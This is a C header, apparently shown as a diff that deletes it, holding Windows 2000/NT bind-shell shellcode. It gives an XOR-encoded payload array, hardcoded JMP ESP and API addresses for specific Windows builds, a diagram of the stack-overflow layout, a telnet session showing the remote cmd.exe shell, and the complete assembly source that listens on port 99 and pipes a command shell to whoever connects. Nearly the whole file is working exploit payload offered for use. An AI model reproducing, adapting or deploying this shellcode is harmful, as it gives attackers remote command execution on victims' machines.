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- /********************************************************************************************************
-
- WinShellCode Writen by sunx
- sunx@cnns.net, http://www.cnns.net
-
- This shellcode works like most remote UNIX shell
-
- it will listen on port 99,
- when telnet to chis port, a cmd.exe shell will active
-
- It is asm code is followed.
-
- For remove char(0) in data
- shellcode is xor 0x99, it will decode itself, when on run
-
- when overflow, run time cpu mirror is :
-
- -------------------RRRR-NOPNOPNOPNOPNOPNOPNOP-ShellCodeShellCodeShellCode-------------------
- ^ ^
- | |
- | |
- ESP point to here shellcode place here
-
- ESP must less than shellcode start address, when run this shellcode
-
- [root@Linux /]# telnet 192.168.0.5 99
- Trying 192.168.0.5...
- Connected to sunx (192.168.0.5).
- Escape character is '^]'.
- Microsoft Windows 2000 [Version 5.00.2195]
- (C) ░µ╚¿╦∙╙╨ 1985-2000 Microsoft Corp.
-
- E:\work\asm\winshell\conv>cd \
-
- cd \
-
- E:\>^]q
-
- Connection closed.
- [root@Linux /]# telnet 192.168.0.5 99
- Trying 192.168.0.5...
- Connected to sunx (192.168.0.5).
- Escape character is '^]'.
-
- E:\>c:
-
- c:
-
- C:\>
-
- ********************************************************************************************************/
-
- #ifndef WINSHELLCODE_H
- #define WINSHELLCODE_H
-
- const unsigned long OfsShellCodeLoadLib = 0x436;
- const unsigned long OfsShellCodeGetProc = 0x43a;
- const unsigned long OfsShellCodeShell = 0x442;
-
- const unsigned long JMPESP_Win2k2195 = 0x77e6898b;
- const unsigned long JMPESP_WinNTsp6 = 0x77f0eac3;
-
- const unsigned long LoadLib_Win2k2195 = 0x77e67273;
- const unsigned long GetProc_Win2k2195 = 0x77e67031;
-
- const unsigned long LoadLib_WinNTsp6 = 0x77ee391a;
- const unsigned long GetProc_WinNTsp6 = 0x77ee4111;
-
- unsigned char shellcode[]=
- {
- 0x8b, 0xfc, 0xb8, 0x73, 0x75, 0x6e, 0x78, 0x47, 0x39, 0x07, 0x75, 0xfb, 0x8d, 0x6f, 0xfd, 0x8d,
- 0x7d, 0x26, 0x90, 0x90, 0x90, 0x8b, 0xf7, 0xb4, 0x99, 0xfc, 0xac, 0x32, 0xc4, 0xaa, 0x81, 0x3e,
- 0x73, 0x75, 0x6e, 0x78, 0x75, 0xf4, 0x14, 0x24, 0xdb, 0x9d, 0x99, 0x99, 0x65, 0xaa, 0x50, 0x28,
- 0xb9, 0x29, 0xbd, 0x6b, 0x37, 0x5f, 0xde, 0x66, 0x99, 0x71, 0x4c, 0x9b, 0x99, 0x99, 0x71, 0x41,
- 0x98, 0x99, 0x99, 0x10, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0x71, 0x44, 0x98, 0x99, 0x99, 0x71, 0xcb,
- 0x9b, 0x99, 0x99, 0x10, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0x71, 0x9d, 0x98, 0x99, 0x99, 0x12, 0x1c,
- 0xb7, 0x9d, 0x99, 0x99, 0x71, 0x88, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0xab, 0x9d, 0x99, 0x99, 0x71,
- 0x9b, 0x99, 0x99, 0x99, 0x72, 0x71, 0x12, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0x71, 0x28, 0x99, 0x99,
- 0x99, 0x1a, 0x61, 0x99, 0xed, 0xc0, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x59, 0xc9, 0x14, 0x1c, 0xbf,
- 0x9d, 0x99, 0x99, 0xc9, 0xaa, 0x59, 0x2d, 0x9d, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9,
- 0x12, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x55, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99,
- 0xed, 0xe4, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x59, 0xc9, 0x12, 0x1c, 0xbf, 0x9d, 0x99, 0x99, 0xc9,
- 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xab, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c,
- 0x93, 0x9d, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xe5, 0xcf, 0x09, 0x09, 0x09, 0x09, 0x72, 0x0e, 0xaa,
- 0x59, 0xc9, 0x2d, 0x9d, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xab, 0x9d,
- 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x96, 0x9d, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xe5, 0xa8, 0x09, 0x09,
- 0x09, 0x09, 0xaa, 0x42, 0xca, 0x14, 0x04, 0xbf, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x12, 0x1c, 0xb3,
- 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xbb, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x5b, 0x9a, 0x99,
- 0x99, 0x1a, 0x61, 0x99, 0xed, 0x90, 0x09, 0x09, 0x09, 0x09, 0x70, 0xde, 0x66, 0x66, 0x66, 0xaa,
- 0x59, 0x5a, 0xaa, 0x42, 0xca, 0x14, 0x04, 0xc7, 0x98, 0x99, 0x99, 0xca, 0xaa, 0x42, 0xca, 0xca,
- 0xca, 0xc9, 0x66, 0x0c, 0x31, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xed, 0x92, 0x09, 0x09, 0x09,
- 0x09, 0x12, 0x1c, 0xc7, 0x98, 0x99, 0x99, 0x5a, 0x21, 0x99, 0x99, 0x99, 0x99, 0x5a, 0x99, 0x99,
- 0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99, 0x99, 0x5e, 0x99, 0xdd, 0x99, 0x99, 0x99, 0xc9, 0x66,
- 0x0c, 0xe4, 0x9a, 0x99, 0x99, 0x12, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0x10, 0x1c, 0x92, 0x9b, 0x99,
- 0x99, 0x10, 0x1c, 0x9e, 0x9b, 0x99, 0x99, 0x12, 0x1c, 0x87, 0x9d, 0x99, 0x99, 0x10, 0x1c, 0x9a,
- 0x9b, 0x99, 0x99, 0xaa, 0x59, 0xff, 0x21, 0x98, 0x98, 0x10, 0x1c, 0x6e, 0x98, 0x99, 0x99, 0x14,
- 0x1c, 0x52, 0x98, 0x99, 0x99, 0xc9, 0xc9, 0xaa, 0x59, 0xc9, 0xc9, 0xc9, 0xd9, 0xc9, 0xd1, 0xc9,
- 0xc9, 0x14, 0x1c, 0xdb, 0x9d, 0x99, 0x99, 0xc9, 0xaa, 0x59, 0xc9, 0x66, 0x0c, 0x14, 0x9a, 0x99,
- 0x99, 0x1a, 0x61, 0x99, 0x96, 0x1d, 0xdb, 0x98, 0x99, 0x99, 0x5a, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xaa, 0x59, 0x2d, 0x9d, 0xc9,
- 0x58, 0x71, 0x9d, 0xc9, 0x66, 0x0c, 0x2f, 0x9a, 0x99, 0x99, 0x5a, 0xaa, 0x59, 0xc9, 0x14, 0x1c,
- 0xf7, 0x9b, 0x99, 0x99, 0x5e, 0x99, 0x95, 0x99, 0x99, 0x99, 0xc9, 0x14, 0x1c, 0x83, 0x9d, 0x99,
- 0x99, 0xc9, 0x14, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99, 0x99, 0xaa,
- 0x59, 0xc9, 0x14, 0x1c, 0xf7, 0x9b, 0x99, 0x99, 0xc9, 0x14, 0x1c, 0xbb, 0x9d, 0x99, 0x99, 0xc9,
- 0x14, 0x1c, 0x87, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99, 0x99, 0x5a, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x98, 0x99, 0x99, 0x99, 0xc9, 0x14, 0x04, 0x38, 0x9b, 0x99,
- 0x99, 0x5e, 0x9a, 0x89, 0x99, 0x99, 0x99, 0xca, 0x14, 0x04, 0x65, 0x9b, 0x99, 0x99, 0xca, 0xc9,
- 0x66, 0x0c, 0x9a, 0x9d, 0x99, 0x99, 0x12, 0x41, 0x1a, 0x61, 0x99, 0xc1, 0xe5, 0x45, 0x12, 0x5a,
- 0x5a, 0x89, 0x99, 0x99, 0x99, 0xaa, 0x59, 0xc9, 0xd9, 0xc9, 0xd9, 0xc9, 0x66, 0x0c, 0x69, 0x9a,
- 0x99, 0x99, 0x1a, 0x61, 0x66, 0xed, 0xdb, 0x09, 0x09, 0x09, 0x09, 0x10, 0x1c, 0xb7, 0x9d, 0x99,
- 0x99, 0xf3, 0x89, 0x14, 0x04, 0x65, 0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x6e, 0x9a, 0x99,
- 0x99, 0x1a, 0x61, 0x99, 0xec, 0xba, 0x09, 0x09, 0x09, 0x09, 0xf3, 0x9c, 0x12, 0x1c, 0xb7, 0x9d,
- 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x65, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xec, 0x92, 0x09, 0x09,
- 0x09, 0x09, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0x5a, 0xaa, 0x59, 0x5a, 0x9b, 0x99, 0x99, 0xfa,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x66, 0x0c, 0x42, 0x9a,
- 0x99, 0x99, 0x5a, 0x14, 0x24, 0xf0, 0x9a, 0x99, 0x99, 0x12, 0x5e, 0xce, 0x71, 0xb6, 0x99, 0x99,
- 0x99, 0xc6, 0xc9, 0xab, 0x59, 0xaa, 0x50, 0x6e, 0x48, 0x65, 0x6b, 0x37, 0xc1, 0x19, 0xa6, 0x99,
- 0xed, 0x8e, 0x09, 0x09, 0x09, 0x09, 0xc9, 0xce, 0x12, 0x46, 0x71, 0x84, 0x99, 0x99, 0x99, 0xc6,
- 0x10, 0x9e, 0xc1, 0xde, 0xde, 0xde, 0xde, 0x72, 0x40, 0xde, 0x19, 0xa6, 0x99, 0xec, 0x53, 0x5a,
- 0xca, 0x14, 0x04, 0xaf, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x8a, 0xc2, 0x5a, 0xce, 0x14, 0x24, 0xa3,
- 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x8e, 0xc6, 0x5a, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa,
- 0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed,
- 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc,
- 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea,
- 0xfc, 0xd1, 0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8, 0xf4, 0xfc,
- 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6,
- 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd,
- 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0, 0xed, 0xc9,
- 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0x99, 0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99,
- 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed,
- 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb,
- 0xfc, 0xfa, 0xef, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
- 0xea, 0xeb, 0x7f, 0xee, //address of loadlibrarya, it is os version depended
- 0xa8, 0xe9, 0x7f, 0xee, //address of getprocaddress, it is os version depended
- 0x73, 0x75, 0x6e, 0x78, //sunx, it is a decode flag, don't modify it
- 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x24, //cmd.exe$, you can modify it freely,
- 0x00
- };
-
- /********************************************************************************************************
-
- ;***************************************************************************************************
- ; Written by sunx
- ;***************************************************************************************************
-
- .486
-
- .model flat
-
- locals
-
- .code
-
- shellcodebegin:
-
- mov edi, esp
- mov eax, 'xnus'
- findnext: inc edi
- cmp [edi], eax
- jnz findnext
-
- lea ebp, [edi + offset shellcodebegin - offset findnext + 4 ]
-
- lea edi, [ebp + offset main - offset shellcodebegin]
- mov esi, edi
- mov ah, 99h
- cld
-
- xorloop:
- lodsb
- xor al, ah
- stosb
- cmp dword ptr [esi], 'xnus'
- jnz xorloop
-
- main: lea edi, [ebp + offset cmd - offset shellcodebegin]
- cld
- xor ecx, ecx
- mov cl, 32
- mov al, '$'
- repnz scasb
- mov byte ptr [edi-1], 0
-
- call processapi
- call initpbuf
- mov [ebp + offset pbuf - offset shellcodebegin], eax
- call initpipe
- call initsock
- mov [ebp + offset accepthand - offset shellcodebegin], eax
- call initshell
-
- runloop:
- mov eax, [ebp + offset accepthand - offset shellcodebegin]
- call getaconnect
-
- mov [ebp + offset sockhand - offset shellcodebegin], eax
-
- call runshell
-
- jmp runloop
-
- ;*******************************************************************************************************;*******************************************************************************************************;*******************************************************************************************************
-
- runshell proc
-
- @@peek: mov eax, [ebp + offset pipeAread - offset shellcodebegin]
- call peekdata
- cmp eax, 0
- jz @@readinput
-
- ;readfile()
- xor eax, eax
- push eax
-
- lea eax, [ebp + offset i - offset shellcodebegin]
- push eax
-
- xor eax, eax
- mov ah, 4
- push eax
-
- mov eax, [ebp + offset pbuf - offset shellcodebegin]
- push eax
-
- mov eax, [ebp + offset pipeAread - offset shellcodebegin]
- push eax
- call [ebp + offset readfile - offset shellcodebegin]
-
- cmp eax, 0
- jz @@exit
-
- ;send()
- xor eax, eax
- push eax
- mov eax, [ebp + offset i - offset shellcodebegin]
- push eax
- mov eax, [ebp + offset pbuf - offset shellcodebegin]
- push eax
- mov eax, [ebp + offset sockhand - offset shellcodebegin]
- push eax
-
- call [ebp + offset send - offset shellcodebegin]
- ;call [ebp + offset wsagetlasterror - offset shellcodebegin]
-
- cmp eax, 0
- jl @@exit
-
- jmp @@peek
-
- @@readinput:
- xor eax, eax
- push eax
- mov ah, 4
- push eax
- mov eax, [ebp + offset pbuf - offset shellcodebegin]
- push eax
- mov eax, [ebp + offset sockhand - offset shellcodebegin]
- push eax
- call [ebp + offset recv - offset shellcodebegin]
- cmp eax, 0
- jl @@exit
-
- xor ebx, ebx
- push ebx
-
- lea ebx, [ebp + offset i - offset shellcodebegin]
- push ebx
-
- push eax
-
- mov eax, [ebp + offset pbuf - offset shellcodebegin]
- push eax
- mov eax, [ebp + offset pipeBwrite - offset shellcodebegin]
- push eax
- call [ebp + offset writefile - offset shellcodebegin]
-
- cmp eax, 0
- jz @@exit
-
- jmp @@peek
-
- @@exit: xor eax, eax
-
- ret
-
- runshell endp
-
- ;*******************************************************************************************************
- peekdata proc ;call with eax = pipehand, return eax = bytes should be read
-
- xor ebx, ebx
- push ebx
- lea ebx, [ebp + offset peeki - offset shellcodebegin]
- push ebx
-
- xor ebx, ebx
- push ebx
- push ebx
- push ebx
-
- push eax
-
- call [ebp + offset peeknamedpipe - offset shellcodebegin]
- cmp eax, 0
- jz @@error
-
- mov eax, [ebp + offset peeki - offset shellcodebegin]
-
- ret
-
- @@error: mov eax, 0
- ret
-
- peeki dd 0
- peekdata endp
-
- ;*******************************************************************************************************
- initshell proc
- lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
- mov dword ptr [eax], 044h
- push eax
- call [ebp + offset getstartupinfo - offset shellcodebegin]
-
- ;build startinfo
- mov eax, [ebp + offset pipeAwrite - offset shellcodebegin]
- mov [ebp + offset StartupInfo - offset shellcodebegin + 40h], eax
- mov [ebp + offset StartupInfo - offset shellcodebegin + 3ch], eax
- mov eax, [ebp + offset pipeBread - offset shellcodebegin]
- mov [ebp + offset StartupInfo - offset shellcodebegin + 38h], eax
-
- xor eax, eax
- mov ax, 0101h
- mov [ebp + offset StartupInfo - offset shellcodebegin +2Ch], eax
-
- lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
- push eax
- push eax
-
- xor eax, eax
- push eax
- push eax
- push eax
- inc eax
- push eax
- dec eax
- push eax
- push eax
-
- lea eax, [ebp + offset cmd - offset shellcodebegin]
- push eax
- xor eax, eax
- push eax
- call [ebp + offset createprocess - offset shellcodebegin]
-
- cmp eax, 0
- jz exitshell
-
- ret
-
- StartupInfo db 50h dup(0)
- initshell endp
-
- ;*******************************************************************************************************
-
- initpbuf proc ;return eax = buf
- xor eax, eax
- mov ah, 4
- push eax
- shr eax, 4
- push eax
- call [ebp + offset globalalloc - offset shellcodebegin]
- ret
- initpbuf endp
-
- ;*******************************************************************************************************
-
- initpipe proc
- xor eax, eax
- push eax
- lea eax, [ebp + offset pipeattr - offset shellcodebegin]
- mov dword ptr [eax], 0ch
- push eax
- lea eax, [ebp + offset pipeAwrite - offset shellcodebegin]
- push eax
- lea eax, [ebp + offset pipeAread - offset shellcodebegin]
- push eax
- call [ebp + offset createpipe - offset shellcodebegin]
-
- xor eax, eax
- push eax
- lea eax, [ebp + offset pipeattr - offset shellcodebegin]
- push eax
- lea eax, [ebp + offset pipeBwrite - offset shellcodebegin]
- push eax
- lea eax, [ebp + offset pipeBread - offset shellcodebegin]
- push eax
- call [ebp + offset createpipe - offset shellcodebegin]
-
- ret
-
- pipeattr label
- len dd 0
- lpSecDesc dd 0
- bInherit dd 1
-
- initpipe endp
-
- ;*******************************************************************************************************
-
- getaconnect proc ;return eax = sock, call with eax = sock
-
- @@next: push eax
- lea ebx, [ebp + offset @@accepti - offset shellcodebegin]
- mov dword ptr [ebx], 16
-
- push ebx
- lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
- push ebx
- push eax
-
- call [ebp + offset accept - offset shellcodebegin]
- mov ebx, eax
- cmp eax, 0
- pop eax
- jl @@next
- mov eax, ebx
- ret
- @@accepti dd 16
- getaconnect endp
-
- ;*******************************************************************************************************
- initsock proc ; return eax = sock
-
-
- ;socket()
- xor eax, eax
- push eax
- inc eax
- push eax
- inc eax
- push eax
- call [ebp + offset socket - offset shellcodebegin]
- cmp eax , 0ffffffffh
- jz @@exit
-
- mov [ebp + offset accepthand - offset shellcodebegin], eax
-
- ;bind()
-
- push 10h
- lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
- push ebx
- push eax
- call [ebp + offset bind - offset shellcodebegin]
- cmp eax , 0
- jnz @@exit
-
- ;listen()
- push 5
- mov eax, [ebp + offset accepthand - offset shellcodebegin]
- push eax
-
- call [ebp + offset listen - offset shellcodebegin]
- cmp eax , 0
- jnz @@exit
-
- mov eax, [ebp + offset accepthand - offset shellcodebegin]
- ret
-
- @@exit: xor eax, eax
- ret
-
- sockstruc label
- sin_family dw 0002h
- sin_port dw 6300h
- sin_addr dd 0
- sin_zero db 8 dup (0)
-
- initsock endp
-
- ;*******************************************************************************************************
- exitshell proc
- call [ebp + offset exitprocess - offset shellcodebegin]
- ret
- exitshell endp
-
- ;*******************************************************************************************************
- processapi proc
- ;kenel api
- lea edi, [ebp + offset library - offset shellcodebegin]
-
- @@loadlib:
- mov eax, edi
- push edi
- call loadlib
- pop edi
-
- @@nextknlapi:
- push eax
- xor al, al
- xor ecx, ecx
- not ecx
- cld
- repnz scasb
- pop eax
-
- cmp byte ptr [edi], 0
-
- jz @@nextlib
-
-
- push eax
- push edi
-
- mov ebx, edi
- call getproc
-
- pop edi
-
- mov [edi], eax
-
- pop eax
-
- inc edi
- inc edi
- inc edi
- inc edi
-
- jmp @@nextknlapi
-
- @@nextlib: inc edi
- cmp byte ptr [edi], 0
- jnz @@loadlib
-
- @@ret:
- ret
- processapi endp
-
- ;*******************************************************************************************************
-
- loadlib proc ;eax=libraryname
- push ebx
- lea ebx, [ebp + offset LoadLibrary - offset shellcodebegin]
-
- push eax
- call dword ptr [ebx]
- pop ebx
- ret
- loadlib endp
-
- ;*******************************************************************************************************
-
- getproc proc ;eax=handle, ebx = procname
- push edi
- lea edi, [ebp + offset GetProcAddr - offset shellcodebegin]
- push ebx
- push eax
- call dword ptr [edi]
- pop edi
- ret
- getproc endp
-
- ;*******************************************************************************************************
-
- databegin label
-
- library label
-
- kernel db "KERNEL32", 0
- createpipe db "CreatePipe", 0
- getstartupinfo db "GetStartupInfoA", 0
- createprocess db "CreateProcessA", 0
- closehandle db "CloseHandle", 0
- peeknamedpipe db "PeekNamedPipe", 0
- globalalloc db "GlobalAlloc", 0
- writefile db "WriteFile", 0
- readfile db "ReadFile", 0
- sleep db "Sleep", 0
- exitprocess db "ExitProcess", 0
-
- db 0
-
- wsock32 db "WSOCK32", 0
- socket db "socket", 0
- bind db "bind", 0
- listen db "listen", 0
- accept db "accept", 0
- send db "send", 0
- recv db "recv", 0
- ;wsagetlasterror db "WSAGetLastError", 0
-
- db 0
- db 0
-
- pipeAread dd 0
- pipeAwrite dd 0
- pipeBread dd 0
- pipeBwrite dd 0
-
- i dd 0
- pbuf dd 0
- accepthand dd 0
- sockhand dd 0
-
- LoadLibrary dd 77e67273h
- GetProcAddr dd 77e67031h
-
- dd 'xnus'
-
- cmd db "cmd.exe$"
-
- db 0dh, 0ah
-
- dataend label
-
- .data
- ends
- end shellcodebegin
-
- *********************************************************************************************************/
-
- #endif //WINSHELLCODE_H